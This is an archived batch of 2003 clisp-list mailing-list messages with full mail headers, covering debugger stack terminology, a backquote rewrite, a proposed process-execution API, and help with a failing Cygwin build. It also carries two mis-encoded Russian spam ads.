in the CLISP source an d up/down in the debugger" > * Sent on Wed, 19 Mar 2003 16:03:13 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Steingold wrote: > >> My mental representation of a stack is that of a pile of paper. It > >> realises last-in-first-out (LIFO). The newest is at the top, the > >> oldest is hidden at the bottom, long forgotten. What is yours? > > >Proposal: > >debugger help: top == most recent. > >what do people think? > Fine, but you omit up/down behaviour specification > up: more recent elements > down: towards bottom > > >there is no INCF for stacks. > >so "increasing the stack" is a TYPE-ERROR. > Not in my model. A stack has volume (since it can be empty, and > grow). Thus, canonical increasing for stacks is growing, decreasing > is popping or shrinking. sounds reasonable. > >Actually, I would like to replace comments "can trigger GC" with > >declarations GC_unsafe and comments "pushes 3 objects on the stack" > >with declarations push_STACK(3). E.g., get_buffers() in io.d will look > >like this: > >GC_unsafe push_stack(2) local void get_buffers (void) {} > > I appreciate declarations that are easily scanned both by humans and > computers. The loose comment form does not exactly fit that category. > I appreciate when tools exist that validate such information. Will > declarations be verified by GCC? no, but static checking tools are coming up all the time (e.g., splint ), and they may be taught to check many things in CLISP, e.g., GC safety and stack preservation. > Be careful that it does not hurt other code-analysing tools, > e.g. ctags, protoize, context-diff-with-function-name, etc. etc. yes. e.g., GC_unsafe void foo() will work fine while push_stack(2) void foo() is likely to break tags. anyone care to check? > Also, a push_stack() declaration does not handle every > situation. Some functions grow or shrink the stack by a data-dependent > amount. listof() comes to mind. How do you represent these? e.g., GC_unsafe pop_stack(*) global object listof (uintC len) {} we can avoid potential parentheses breakage by using underscore: GC_unsafe push_stack_2 local void get_buffers (void) {} GC_unsafe pop_stack_ global object listof (uintC len) {} > Other than that: I'm in favour of this incompatible user-level change. Anyone else? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Diplomacy is the art of saying "nice doggy" until you can find a rock. From sds@gnu.org Wed Mar 19 09:01:52 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vgwq-0001U8-00 for ; Wed, 19 Mar 2003 09:01:52 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out001.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030319170143.PPMP5518.out001.verizon.net@loiso.podval.org>; Wed, 19 Mar 2003 11:01:43 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2JH2ZTx013249; Wed, 19 Mar 2003 12:02:35 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2JH2UIb013245; Wed, 19 Mar 2003 12:02:30 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 58 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [151.203.42.128] at Wed, 19 Mar 2003 11:01:42 -0600 Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 09:02:25 2003 X-Original-Date: 19 Mar 2003 12:02:30 -0500 > * In message > * On the subject of "Re: New, from-scratch implementation of backquote." > * Sent on Tue, 18 Mar 2003 12:48:34 -0800 (PST) > * Honorable Kaz Kylheku writes: > > On 17 Mar 2003, Sam Steingold wrote: > > > * #(x1 x2 x3 ... xn) may be interpreted to mean (apply #'vector `(x1 x2 > > x3 ... xn)). > > > > #1A is not mentioned. I suggest raising this on c.l.l. > > > > personally, I would rather signal an error here, like CMUCL and > > unpatched CLISP (ACL? LW?) do because > > > > - when you write a literal, your would write #() anyway, so the simple > > user does not lose > > > > - when you generate the form, you should make sure that the dim is 1 > > anyway, so you can use #() just as well > > > > - when the user sees that `#1A(1 2 ,a 4) works but `#2A((1 2) (,a 4)) > > does not, the user would be rightfully surprised; he will also think > > that `#2A(,a ,b) should work when a and b are sequences of the same > > length &c &c... > > Okay, how about dividing the work into three milestones. > > Basically I have taken care of most of the first milestone already: > optimization, proper i18n-able error messages using TEXT macro, > system builds itself cleanly. What's left is beating up the backquote > with lots of nasty test cases. let us stop here!!! BTW, did you try some profiling? E.g., try (times (compile-file "compiler.lisp")) with stock backquote and with your version. > In the second milstone, I can put in rudimentary support for > backquoting over multi-dimensional arrays. this will explicitly contradict the spec, be of dubious value and require your work which can be used elsewhere. What I was saying in my original message was that `#1A(... , ...) should __NOT__ work! OTOH, you are free to code whatever you fancy, and I will be delighted to put #A/backquote in - as an option, e.g., when CUSTOM:*BACKQUOTE-SUPPORT-NON-VECTOR-ARRAYS* is non-NIL. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux MS Windows: error: the operation completed successfully. From don-sourceforge@isis.cs3-inc.com Wed Mar 19 09:12:32 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vh7A-0003ZA-00 for ; Wed, 19 Mar 2003 09:12:32 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h2JH7tW02547; Wed, 19 Mar 2003 09:07:55 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15992.41963.427238.834205@isis.cs3-inc.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02E73CD8@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE02E73CD8@G8PQD.blf01.telekom.de> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] (compile-file "foo.lisp") deletes foo.c ?? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 09:13:10 2003 X-Original-Date: Wed, 19 Mar 2003 09:07:55 -0800 Hoehle, Joerg-Cyril writes: > Hi, > > I'd like to jump on the occasion to query whether it's acceptable that a C file and C forms be generated for a Lisp file which would contain only definitions for shared library functions? > The C file might never be used by CLISP. I now think the important point is that the generated .c file is not needed to load the .fas file. This suggests that it should be generated by some function other than compile-file: (compile-FF "foo.lisp" &key output-file) If the default of this were to overwrite foo.c it wouldn't be nearly so bad, though I would still prefer a default of foo-FF.c From sds@gnu.org Wed Mar 19 09:33:31 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vhRS-0007rj-00 for ; Wed, 19 Mar 2003 09:33:30 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out001.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030319173324.PWZG5518.out001.verizon.net@loiso.podval.org>; Wed, 19 Mar 2003 11:33:24 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2JHYGTx013280; Wed, 19 Mar 2003 12:34:16 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2JHYFdf013276; Wed, 19 Mar 2003 12:34:15 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] inspector via browser: MS-IE solution References: <9F8582E37B2EE5498E76392AEDDCD3FE02E7390B@G8PQD.blf01.telekom.de> <1895496523.20030319231435@inbox.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1895496523.20030319231435@inbox.ru> Message-ID: Lines: 79 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [151.203.42.128] at Wed, 19 Mar 2003 11:33:24 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 10:41:11 2003 X-Original-Date: 19 Mar 2003 12:34:15 -0500 > * In message <1895496523.20030319231435@inbox.ru> > * On the subject of "Re[2]: [clisp-list] inspector via browser: MS-IE solution" > * Sent on Wed, 19 Mar 2003 23:14:35 +1000 > * Honorable Arseny Slobodjuck writes: > > Last time I checked run-program & friends it worked by running shell > (cmd.exe or command com) and then starting a program from this shell. > Why is this ? It looks strange for me. Only run-shell-command should > work like this, i.e. run-shell-command should call run-program, not > vice versa. Is this a unix way of thinking? this is because SHELL and MAKE-PIPE-*-STREAM accept shell commands, not program names, so this is the easy path. > On system level for win32 we have only (shell) and > (make-pipe-*-stream) (I didn't look into it yet), (shell) has no :wait > ability. It seems to me that run-program should be C-coded to use all > the system features, priorities for example. How do you people think ? > > If make-pipe-*-stream made like (shell) then it waits for process to > finish. Would it be right if it will never wait ? And how we can close > hanging pipe-stream, by close (adding TerminateProcess to it) ? We need a single cross-platform function, say, EXECUTE: (EXECUTE program &key (arguments '()) (wait t) (input (if wait ':terminal)) (output (if wait ':terminal)) (if-input-does-not-exist ':error) (if-output-exists ':overwrite) (indirectp nil)) ARGUMENTS: a list of string arguments (argv) WAIT: wait for termination or return right away INPUT: :terminal to use stdin :stream to create and return an input stream open input stream object to use this stream pathname designator to use this file [this does NOT contradict the use of file streams as pathname designators] NIL no input IF-INPUT-DOES-NOT-EXIST: action when INPUT is a pathname designator and the file does not exist (:ERROR or a valid INPUT arg) OUTPUT: :terminal to use stdout :stream to create and return an output stream open output stream object to use this stream pathname designator to use this file [this does NOT contradict the use of file streams as pathname designators] NIL no output IF-OUTPUT-EXISTS: action when OUTPUT is a pathname designator and the already file exists (:OVERWRITE or :ERROR or :APPEND or valid OUTPUT arg) INDIRECTP: use a shell return value: when WAIT is T, return the exit status of the program. when WAIT is NIL, return 3 values PID INPUT stream OUTPUT stream [what about the error stream?] all other functions should be based on this one, e.g., (defun make-pipe-input-stream (cmd) (nth-value 1 (execute cmd :indirect t :input :stream :output nil :wait nil))) and probably deprecated. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Fighting for peace is like screwing for virginity. From si6e1r678@bridgetounderstanding.com Wed Mar 19 09:59:33 2003 Received: from [81.13.145.206] (helo=81.13.145.206) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vhqd-0004Dl-00 for ; Wed, 19 Mar 2003 09:59:32 -0800 From: flower-and-parfum@nm.ru To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-Mailer: Microsoft Outlook Express 5.50.4522.1200 Message-ID: 235841@vkl.net Subject: [clisp-list] Íîâèíêè ïàðôþìåðèè è êîñìåòèêè Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 10:44:37 2003 X-Original-Date: Wed, 19 Mar 2003 07:55:45 -0500 Ïàðôþìåðèÿ è êîñìåòèêà ñ äîñòàâêîé

Ïàðôþìåðèÿ è êîñìåòèêà
ñ äîñòàâêîé

Áîëåå 500 àðîìàòîâ

Äîñòàâêà êóðüåðîì ïî Ìîñêâå íà ñëåäóþùèé äåíü

Ïðîäóêöèÿ îò îðèãèíàëüíûõ ïðîèçâîäèòåëåé

Íàêîïèòåëüíûå ñêèäêè

Dignita (Shiseido)
ò/äóõè 30 ìë

Ïðîíèêíîâåííûé öâåòî÷íûé çàïàõ
â èñòèííî ÿïîíñêîì ñòèëå ðàçáóäèò
ñàìûå ñêðûòûå ÷óâñòâà

Öåíà: 63,00$

Shiseido We're (Shiseido)
ò/äóõè 50 ìë

Àðîìàò, ðàññêàçûâàþùèé î íàñ è íàïîìèíàþùèé íàì îá èñòèííîì ïðèçâàíèè ÷åëîâåêà

Öåíà: 57,20$

Chic (Carolina Herrera)
ò/äóõè 30 ìë

Íîâûé àðîìàò ýëåãàíòíî
ïîä÷åðêèâàåò èçÿùíóþ è ïîëíóþ
òàéí æåíñêóþ âñåëåííóþ.

Öåíà: 29,90$

Addict
ò/äóõè 20 ìë

Ïîëíîå îëèöåòâîðåíèå ðîñêîøè öâåòêà øåëêîâîãî äåðåâà, ÷óâñòâåííîñòè íî÷íîãî öâåòêà

Öåíà: 27,70$

Chance (Chanel) 
ò/äóõè 50 ìë

Òîíêèé ÷óâñòâåííûé àðîìàò ðàñêðûâàåòñÿ ïîñòåïåííî 

Öåíà: 92,10$

Dupont Essence pure pour femme
ò/äóõè 30 ìë

Ñàìà æåíñòâåííîñòü è óòîí÷åííîñòü, äëÿ ïðèòÿãàòåëüíûõ è íåäîñòóïíûõ.

Öåíà: 21,90$

Clinique Happy Heart
ò/äóõè 50 ìë

Ñâåæèé, ôðóêòîâûé àðîìàò Clinique Happy Heart ñîçäàí äëÿ âëþáëåííûõ.

Öåíà: 55,00$

Arden Beauty
ò/äóõè 30 ìë

Elizabeth Arden äàåò ñâîé îòâåò íà âîïðîñ, ÷òî òàêîå êðàñîòà.

Öåíà: 25,00$

Pleasure Intense 
ò/äóõè 30 ìë

×óâñòâåííûé, ÿðêèé, ðàäîñòíûé
àðîìàò - íîâàÿ âåðñèÿ ïàðôþìåðíîãî áåñòñåëëåðà

Öåíà: 29,40$

Bazar 
ò/äóõè 50 ìë

Çàâîðàæèâàþùàÿ êîíòðàñòîì öèòðóñîâûõ è öâåòîâ ïîä÷åðêèâàåò íåæíîñòü è ÷óâñòâåííîñòü

Öåíà: 29,70$

Çàõîäèòå:

Ïèøèòå:

Çâîíèòå:

www.parfumshopper.ru

info@parfumshopper.ru

(095) 799-9268, -67













* 1074667794 12EFE74E-62284009-56F4908A-59FDEE5D-72DE93B5 From sds@gnu.org Wed Mar 19 10:00:32 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vhrb-0004MP-00 for ; Wed, 19 Mar 2003 10:00:31 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out006.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030319180024.FSTU4892.out006.verizon.net@loiso.podval.org>; Wed, 19 Mar 2003 12:00:24 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2JI1GTx014682; Wed, 19 Mar 2003 13:01:16 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2JI1GeP014678; Wed, 19 Mar 2003 13:01:16 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Yadin Y. Goldschmidt" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help with compiling clisp cvs on cygwin References: <9458609.1048073301@GOLDSCHMIDT.phyast.pitt.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9458609.1048073301@GOLDSCHMIDT.phyast.pitt.edu> Message-ID: Lines: 55 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [151.203.42.128] at Wed, 19 Mar 2003 12:00:24 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 10:44:43 2003 X-Original-Date: 19 Mar 2003 13:01:16 -0500 > * In message <9458609.1048073301@GOLDSCHMIDT.phyast.pitt.edu> > * On the subject of "[clisp-list] help with compiling clisp cvs on cygwin" > * Sent on Wed, 19 Mar 2003 11:28:21 -0500 > * Honorable "Yadin Y. Goldschmidt" writes: > > I tried to built clisp on cygwin (Win XP) from the recent cvs. The > executable builds, but it fails to build the memory image. In > particular it chokes when loading "type.lisp" with an error message > "unix error 2 file not found". this is probably because of some encoding not being supported on cygwin. Please try the appended patch and report your experiences here. Thanks! > Is it possible to build clisp on cygwin? Yes! you could also try building with mingw, i.e., $ ./configure --with-mingw --with-export-syscalls --build build-mingw -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux There are 3 kinds of people: those who can count and those who cannot. --- type.lisp.~1.43.~ 2003-03-12 11:37:04.000000000 -0500 +++ type.lisp 2003-03-19 12:59:48.000000000 -0500 @@ -1380,12 +1380,18 @@ ; Return the definition range of a character set. If necessary, compute it ; and store it in the cache. (defun get-charset-range (charset &optional maxintervals) - (or (gethash charset table) - (setf (gethash charset table) - (charset-range (make-encoding :charset charset) - (code-char 0) (code-char (1- char-code-limit)) - maxintervals - ) ) ) ) + (let ((name (if (encodingp charset) (encoding-charset charset) charset))) + (or (gethash name table) + (let ((enc (if (encodingp charset) charset + (make-encoding :charset charset + :if-does-not-exist nil)))) + (unless enc ; SHOULD BE AN ERROR!!! + (warn "~S: invalid charset ~S" 'get-charset-range charset) + (return nil)) + (setf (gethash name table) + (charset-range enc (code-char 0) + (code-char (1- char-code-limit)) + maxintervals)))))) ; Fill the cache, but cache only the results with small lists of intervals. ; Some iconv based encodings have large lists of intervals (up to 5844 ; intervals for ISO-2022-JP-2) which are rarely used and not worth caching. From yadin+@pitt.edu Wed Mar 19 12:38:44 2003 Received: from mb1i0.ns.pitt.edu ([136.142.186.35]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vkKf-00014S-00 for ; Wed, 19 Mar 2003 12:38:41 -0800 Received: from GOLDSCHMIDT.phyast.pitt.edu ([136.142.111.76]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01KTPPHPM51M007EES@mb1i0.ns.pitt.edu> for clisp-list@lists.sourceforge.net; Wed, 19 Mar 2003 15:38:27 EST From: "Yadin Y. Goldschmidt" Subject: Re: [clisp-list] help with compiling clisp cvs on cygwin In-reply-to: Originator-info: login-id=yadin; server=imap.pitt.edu To: clisp-list@lists.sourceforge.net Message-id: <24463843.1048088307@GOLDSCHMIDT.phyast.pitt.edu> MIME-version: 1.0 X-Mailer: Mulberry/2.2.1 (Win32) Content-type: text/plain; charset=us-ascii; format=flowed Content-disposition: inline Content-transfer-encoding: 7bit References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 12:39:04 2003 X-Original-Date: Wed, 19 Mar 2003 15:38:27 -0500 Thank you for your response. No this patch does not help. However I found that commenting lines 1392-1397 in type.lisp (without the patch ) that read ; Fill the cache, but cache only the results with small lists of intervals. ; Some iconv based encodings have large lists of intervals (up to 5844 ; intervals for ISO-2022-JP-2) which are rarely used and not worth caching. ;; (do-external-symbols (sym (find-package "CHARSET")) ;; (let* ((charset (encoding-charset (symbol-value sym))) ;; (computed-range (get-charset-range charset 100)) ;; (intervals (/ (length computed-range) 2))) ;; (when (>= intervals 100) (remhash charset table)) ;; ) ) makes type.lisp load. I don't know what exactly these lines do. Now many more lisp files were loaded, but the compilation failed when loading compiler.lisp with signal 11: ;; Loading file defseq.lisp ... ;; Loaded file defseq.lisp ;; Loading file backquote.lisp ... ;; Loaded file backquote.lisp ;; Loading file defmacro.lisp ... ;; Loaded file defmacro.lisp ;; Loading file macros1.lisp ... ;; Loaded file macros1.lisp ;; Loading file macros2.lisp ... ;; Loaded file macros2.lisp ;; Loading file defs1.lisp ... ;; Loaded file defs1.lisp ;; Loading file places.lisp ... ;; Loaded file places.lisp ;; Loading file floatprint.lisp ... ;; Loaded file floatprint.lisp ;; Loading file type.lisp ... ;; Loaded file type.lisp ;; Loading file defstruct.lisp ... ;; Loaded file defstruct.lisp ;; Loading file format.lisp ... (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function " FORMAT #P"/cygdrive/c/temp/clisp/src/format.lisp" "top-level") ;; Loaded file format.lisp ;; Loading file international.lisp ... ;; Loaded file international.lisp ;; Loading file /cygdrive/c/temp/clisp/src/room.lisp ... ;; Loaded file /cygdrive/c/temp/clisp/src/room.lisp ;; Loading file /cygdrive/c/temp/clisp/src/savemem.lisp ... ;; Loaded file /cygdrive/c/temp/clisp/src/savemem.lisp ;; Loading file /cygdrive/c/temp/clisp/src/trace.lisp ... ;; Loaded file /cygdrive/c/temp/clisp/src/trace.lisp ;; Loading file /cygdrive/c/temp/clisp/src/cmacros.lisp ... ;; Loaded file /cygdrive/c/temp/clisp/src/cmacros.lisp ;; Loading file /cygdrive/c/temp/clisp/src/compiler.lisp ...Signal 11 make: *** [interpreted.mem] Error 139 Any more suggestions? Are the lines that I commented important? TIA, Yadin. --On Wednesday, March 19, 2003 1:01 PM -0500 Sam Steingold wrote:r >> * In message <9458609.1048073301@GOLDSCHMIDT.phyast.pitt.edu> >> * On the subject of "[clisp-list] help with compiling clisp cvs on >> cygwin" * Sent on Wed, 19 Mar 2003 11:28:21 -0500 >> * Honorable "Yadin Y. Goldschmidt" writes: >> >> I tried to built clisp on cygwin (Win XP) from the recent cvs. The >> executable builds, but it fails to build the memory image. In >> particular it chokes when loading "type.lisp" with an error message >> "unix error 2 file not found". > > this is probably because of some encoding not being supported on cygwin. > Please try the appended patch and report your experiences here. > Thanks! > >> Is it possible to build clisp on cygwin? > Yes! > > you could also try building with mingw, i.e., > > $ ./configure --with-mingw --with-export-syscalls --build build-mingw > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux > > > There are 3 kinds of > people: those who can count and those who cannot. > > > --- type.lisp.~1.43.~ 2003-03-12 11:37:04.000000000 -0500 > +++ type.lisp 2003-03-19 12:59:48.000000000 -0500 > @@ -1380,12 +1380,18 @@ > ; Return the definition range of a character set. If necessary, > compute it ; and store it in the cache. > (defun get-charset-range (charset &optional maxintervals) > - (or (gethash charset table) > - (setf (gethash charset table) > - (charset-range (make-encoding :charset charset) > - (code-char 0) (code-char (1- > char-code-limit)) - maxintervals > - ) ) ) ) > + (let ((name (if (encodingp charset) (encoding-charset charset) > charset))) + (or (gethash name table) > + (let ((enc (if (encodingp charset) charset > + (make-encoding :charset charset > + :if-does-not-exist nil)))) > + (unless enc ; SHOULD BE AN ERROR!!! > + (warn "~S: invalid charset ~S" 'get-charset-range charset) > + (return nil)) > + (setf (gethash name table) > + (charset-range enc (code-char 0) > + (code-char (1- char-code-limit)) > + maxintervals)))))) > ; Fill the cache, but cache only the results with small lists of > intervals. ; Some iconv based encodings have large lists of intervals > (up to 5844 ; intervals for ISO-2022-JP-2) which are rarely used and > not worth caching. From sds@gnu.org Wed Mar 19 17:22:41 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18volV-0001wA-00 for ; Wed, 19 Mar 2003 17:22:41 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out002.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030320012234.ODMP6546.out002.verizon.net@loiso.podval.org>; Wed, 19 Mar 2003 19:22:34 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2K1NRTx019458; Wed, 19 Mar 2003 20:23:27 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2K1NQrl019454; Wed, 19 Mar 2003 20:23:26 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Yadin Y. Goldschmidt" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help with compiling clisp cvs on cygwin References: <24463843.1048088307@GOLDSCHMIDT.phyast.pitt.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <24463843.1048088307@GOLDSCHMIDT.phyast.pitt.edu> Message-ID: Lines: 57 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [151.203.42.128] at Wed, 19 Mar 2003 19:22:34 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 17:23:12 2003 X-Original-Date: 19 Mar 2003 20:23:26 -0500 > * In message <24463843.1048088307@GOLDSCHMIDT.phyast.pitt.edu> > * On the subject of "Re: [clisp-list] help with compiling clisp cvs on cygwin" > * Sent on Wed, 19 Mar 2003 15:38:27 -0500 > * Honorable "Yadin Y. Goldschmidt" writes: > > Thank you for your response. > No this patch does not help. However I found that commenting lines 1392-1397 > in type.lisp (without the patch ) that read > ; Fill the cache, but cache only the results with small lists of > intervals. > ; Some iconv based encodings have large lists of intervals (up to 5844 > ; intervals for ISO-2022-JP-2) which are rarely used and not worth > caching. > ;; (do-external-symbols (sym (find-package "CHARSET")) > ;; (let* ((charset (encoding-charset (symbol-value sym))) > ;; (computed-range (get-charset-range charset 100)) > ;; (intervals (/ (length computed-range) 2))) > ;; (when (>= intervals 100) (remhash charset table)) > ;; ) ) yes, this confirms my diagnosis. please _do_ apply the patch (replacing "return" with "return-from get-charset-range") and see what warning you get. > ;; Loading file /cygdrive/c/temp/clisp/src/compiler.lisp ...Signal 11 > make: *** [interpreted.mem] Error 139 > > Any more suggestions? 1. always build in a separate build directory. clean up: $ rm -rf src $ cvs up src and try again: $ ./configure build-directory this allows you to have several builds with different options and guarantees that your builds are clean. 2. try various combinations of CC=g++, --with-debug and --with-mingw: $ ./configure --with-debug --build build-g $ CC=g++ ./configure --with-debug --build build-g-gxx $ ./configure --with-mingw --with-debug --build build-mingw-g $ CC=g++ ./configure --with-mingw --with-debug --build build-mingw-g-gxx try "gdb -nw" in the build directory. unfortunately, I do not have a w32 machine, so I cannot really help here&now (I built under cygwin many times in the past though). we do have several w32&cygwin gurus here, I hope they will chime in. > Are the lines that I commented important? yes, they create some caches. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux You can have it good, soon or cheap. Pick two... From 93o4@burleys.com Wed Mar 19 22:11:40 2003 Received: from host175-113.pool80116.interbusiness.it ([80.116.113.175] helo=80.116.113.175) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vtH2-00036s-00 for ; Wed, 19 Mar 2003 22:11:34 -0800 From: mcampos@agris.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: Microsoft Outlook Express 5.00.2615.200 Message-ID: 235851@broadpark.no Subject: [clisp-list] óÕÐÅÒ ÔÅÌÅÆÏÎ Trium Eclipse Ã×ÅÔÎÏÊ ÄÉÓÐÌÅÊ ÚÁ 129$ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 19 22:12:02 2003 X-Original-Date: Wed, 19 Mar 2003 20:07:39 -0500

Trium Eclipse

